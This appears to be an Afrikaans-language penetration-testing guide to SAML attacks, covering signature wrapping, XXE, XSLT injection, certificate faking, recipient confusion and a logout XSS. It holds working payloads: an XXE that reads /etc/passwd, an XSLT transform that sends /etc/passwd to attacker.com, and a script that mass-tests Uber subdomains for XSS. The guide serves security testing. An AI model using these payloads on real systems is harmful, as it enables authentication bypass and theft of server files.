SAML-aanvalle

Reading time: 13 minutes

SAML-aanvalle

Basiese Inligting

SAML Basics

Gereedskap

SAMLExtractor: 'n gereedskap wat 'n URL of lys van URL's kan neem en die SAML-verbruik URL teruggee.

XML rondreis

In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die uitvoering van die program teen REXML 3.2.4 of vroeër sal in plaas daarvan die volgende uitvoer lewer:

First child in original doc: Y
First child after round-trip: Z

Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien het:

En dit is hoe dit gesien is na 'n ronde van parsering en serialisering:

Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Handtekening Wrapping Aanvalle

In XML Handtekening Wrapping aanvalle (XSW), benut teenstanders 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee verskillende fases verwerk word: handtekening validasie en funksie aanroep. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek, die aanvaller injekteer vervalste elemente wat nie die geldigheid van die XML Handtekening benadeel nie. Hierdie manipulasie is daarop gemik om 'n discrepansie te skep tussen die elemente wat deur die toepassing logika geanaliseer word en diegene wat deur die handtekening verifikasie module nagegaan word. As gevolg hiervan, terwyl die XML Handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassing logika die bedrogspul elemente. Gevolglik omseil die aanvaller effektief die XML Handtekening se integriteit beskerming en oorsprong verifikasie, wat die injektering van arbitrêre inhoud sonder opsporing moontlik maak.

Die volgende aanvalle is gebaseer op hierdie blogpos en hierdie papier. So kyk na daardie vir verdere besonderhede.

XSW #1

• Strategie: 'n Nuwe wortelelement wat die handtekening bevat, word bygevoeg.
• Implikasie: Die validator mag verward raak tussen die wettige "Response -> Assertion -> Subject" en die aanvaller se "slegte nuwe Response -> Assertion -> Subject", wat lei tot data integriteit probleme.

XSW #2

• Verskil van XSW #1: Gebruik 'n losstaande handtekening in plaas van 'n omhulde handtekening.
• Implikasie: Die "slegte" struktuur, soortgelyk aan XSW #1, is daarop gemik om die besigheidslogika na die integriteitskontrole te mislei.

XSW #3

• Strategie: 'n Slegte Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.
• Implikasie: Dit is bedoel om die besigheidslogika te verwar om die kwaadwillige data te gebruik.

XSW #4

• Verskil van XSW #3: Die oorspronklike Assertion word 'n kind van die gedupliseerde (slegte) Assertion.
• Implikasie: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.

XSW #5

• Unieke Aspek: Geen van die Handtekening of die oorspronklike Assertion voldoen aan standaard konfigurasies (omhulde/omhulende/losstaande).
• Implikasie: Die gekopieerde Assertion omhul die Handtekening, wat die verwagte dokumentstruktuur verander.

XSW #6

• Strategie: Soortgelyke ligging insetting soos XSW #4 en #5, maar met 'n draai.
• Implikasie: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, wat 'n geneste misleidende struktuur skep.

XSW #7

• Strategie: 'n Extensions element word ingevoeg met die gekopieerde Assertion as 'n kind.
• Implikasie: Dit benut die minder beperkende skema van die Extensions element om skema validasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.

XSW #8

• Verskil van XSW #7: Gebruik 'n ander minder beperkende XML element vir 'n variasie van die aanval.
• Implikasie: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik is, omkeer.

Gereedskap

Jy kan die Burp uitbreiding SAML Raider gebruik om die versoek te parseer, enige XSW aanval wat jy kies toe te pas, en dit te loods.

XXE

As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:

XXE - XEE - XML External Entity

SAML Antwoorde is ontplofte en base64-gecodeerde XML-dokumente en kan kwesbaar wees vir XML Eksterne Entiteit (XXE) aanvalle. Deur die XML-struktuur van die SAML Antwoord te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Jy kan ook die Burp uitbreiding SAML Raider gebruik om die POC te genereer vanaf 'n SAML versoek om te toets vir moontlike XXE kwesbaarhede en SAML kwesbaarhede.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT, gaan na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON of PDF te transformeer. Dit is belangrik om te noem dat XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.

Hier kan jy 'n POC vind om vir hierdie soort kwesbaarhede te toets, op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy vir payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Jy kan ook die Burp uitbreiding SAML Raider gebruik om die POC van 'n SAML versoek te genereer om moontlike XSLT kwesbaarhede te toets.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Die XML Signature Exclusion observeer die gedrag van SAML implementasies wanneer die Signature element nie teenwoordig is nie. As hierdie element ontbreek, kan handtekeningvalidasie nie plaasvind nie, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud wat gewoonlik deur die handtekening geverifieer word, te verander.

Tool

Jy kan ook die Burp uitbreiding SAML Raider gebruik. Intercepteer die SAML Response en klik op Remove Signatures. Deur dit te doen, word alle Signature elemente verwyder.

Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. As die Signature nie deur die Diens

Certificate Faking

Certificate Faking

Certificate Faking is 'n tegniek om te toets of 'n Service Provider (SP) behoorlik verifieer dat 'n SAML Message onderteken is deur 'n vertroude Identity Provider (IdP). Dit behels die gebruik van 'n *self-signed certificate om die SAML Response of Assertion te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.

How to Conduct Certificate Faking

Die volgende stappe skets die proses met die SAML Raider Burp uitbreiding:

1. Intercepteer die SAML Response.
2. As die antwoord 'n handtekening bevat, stuur die sertifikaat na SAML Raider Certs met die Send Certificate to SAML Raider Certs knoppie.
3. In die SAML Raider Certificates tab, kies die ingevoerde sertifikaat en klik op Save and Self-Sign om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
4. Gaan terug na die geïntercepteerde versoek in Burp se Proxy. Kies die nuwe self-ondertekende sertifikaat uit die XML Signature dropdown.
5. Verwyder enige bestaande handtekeninge met die Remove Signatures knoppie.
6. Onderteken die boodskap of bevestiging met die nuwe sertifikaat met die (Re-)Sign Message of (Re-)Sign Assertion knoppie, soos toepaslik.
7. Stuur die ondertekende boodskap voort. Suksevolle outentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion en Service Provider Target Confusion behels die toets of die Service Provider korrek die bedoelde ontvanger van 'n antwoord valideer. In wese moet 'n Service Provider 'n outentikasieantwoord verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die Recipient veld, wat binne die SubjectConfirmationData element van 'n SAML Response gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Assertion gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Service Provider nie, moet die Assertion as ongeldig beskou word.

How It Works

Vir 'n SAML Token Recipient Confusion (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Service Provider wees (verwys na SP-Legit). Tweedens, die geteikende Service Provider (SP-Target) moet tokens van dieselfde Identity Provider aanvaar wat SP-Legit bedien.

Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Egte sessie word geinitieer met SP-Legit via die gedeelde Identity Provider. Die SAML Response van die Identity Provider na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Response, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Target. Sukses in hierdie aanval word gemeet deur SP-Target wat die Assertion aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout functionality

Die oorspronklike navorsing kan deur this link verkry word.

Tydens die proses van gids brute forcing, is 'n afmeldbladsy ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

By die toegang tot hierdie skakel het 'n herleiding plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het onthul dat die base parameter 'n URL aanvaar. In ag genome, het die idee ontstaan om die URL te vervang met javascript:alert(123); in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.

Mass Exploitation

Uit hierdie navorsing:

Die SAMLExtractor hulpmiddel is gebruik om subdomeine van uberinternal.com te analiseer vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrip ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie skrip toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit in die uitvoer weerspieël word. In gevalle waar die invoer inderdaad weerspieël word, merk die skrip die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Verwysings

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/